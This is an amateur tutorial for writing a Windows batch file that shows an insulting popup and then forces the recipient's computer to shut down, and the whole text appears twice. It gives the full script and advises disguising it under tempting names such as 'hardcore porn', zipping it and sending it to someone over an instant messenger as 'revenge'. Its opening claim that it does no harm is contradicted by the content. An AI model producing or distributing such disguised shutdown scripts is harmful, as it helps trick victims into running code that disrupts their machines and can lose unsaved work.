A little note - this will not show you how to harm someone's computer.
So today, I thought I'd familiarize myself with some commands for .bat files.
In this tutorial you will learn some basic commands + how to get revenge using them.
You need: A computer running Windows XP (everything else you need is included)
An instant messanger, in this tutorial I'll be using MSN.
Useful commands for bat files:
-l - Log off
-s - Pain old shutdown
-r - Restart
-a - Abort Shutdown
-f - Shutdown all applications without warning
echo msgbox" " >C:\1.vbs
C:\1.vbs
cls
^ Makes a popup box - insert text inbetween the quotation marks.
How to piss someone off!
1) Right click your desktop and click "New" then "Text document" (screenshot here)
2) Copy and paste this (or make your own using the above commands)
@echo off
title Hello
echo msgbox"You and your computer are going down, you will regret being an asshole." >C:\1.vbs
C:\1.vbs
cls
shutdown -s -t 15 -c "Goodbye."
This will first give the user that opens the file a popup saying "You and your computer are going down, you will regret being an asshole.", it will then turn off their computer.
But wait! All you have now is a .txt file! This will not do a thing if you send it to someone! On the menu of the text editer click "File" then "Save as" then type the filename as funny.bat
You can name the file anything you want, but it must end with .bat
The best file names are "funny" or "hardcore porn" in my opinion, as people open stuff like that :-) . Save the bat file to your desktop.
So now you've got your bat file right, all you need todo is send it on.
First though, I would reccomend 'compressing' the file, so you can send it through instant messagers ... right click your bat file, then click "Send to" then click "Compressed (zipped) Folder"
This will create a compressed folder on your desktop (or where ever you saved the .bat) that contains the bat file.
So today, I thought I'd familiarize myself with some commands for .bat files.
In this tutorial you will learn some basic commands + how to get revenge using them.
You need: A computer running Windows XP (everything else you need is included)
An instant messanger, in this tutorial I'll be using MSN.
Useful commands for bat files:
-l - Log off
-s - Pain old shutdown
-r - Restart
-a - Abort Shutdown
-f - Shutdown all applications without warning
echo msgbox" " >C:\1.vbs
C:\1.vbs
cls
^ Makes a popup box - insert text inbetween the quotation marks.
How to piss someone off!
1) Right click your desktop and click "New" then "Text document" (screenshot here)
2) Copy and paste this (or make your own using the above commands)
@echo off
title Hello
echo msgbox"You and your computer are going down, you will regret being an asshole." >C:\1.vbs
C:\1.vbs
cls
shutdown -s -t 15 -c "Goodbye."
This will first give the user that opens the file a popup saying "You and your computer are going down, you will regret being an asshole.", it will then turn off their computer.
But wait! All you have now is a .txt file! This will not do a thing if you send it to someone! On the menu of the text editer click "File" then "Save as" then type the filename as funny.bat
You can name the file anything you want, but it must end with .bat
The best file names are "funny" or "hardcore porn" in my opinion, as people open stuff like that :-) . Save the bat file to your desktop.
So now you've got your bat file right, all you need todo is send it on.
First though, I would reccomend 'compressing' the file, so you can send it through instant messagers ... right click your bat file, then click "Send to" then click "Compressed (zipped) Folder"
This will create a compressed folder on your desktop (or where ever you saved the .bat) that contains the bat file.
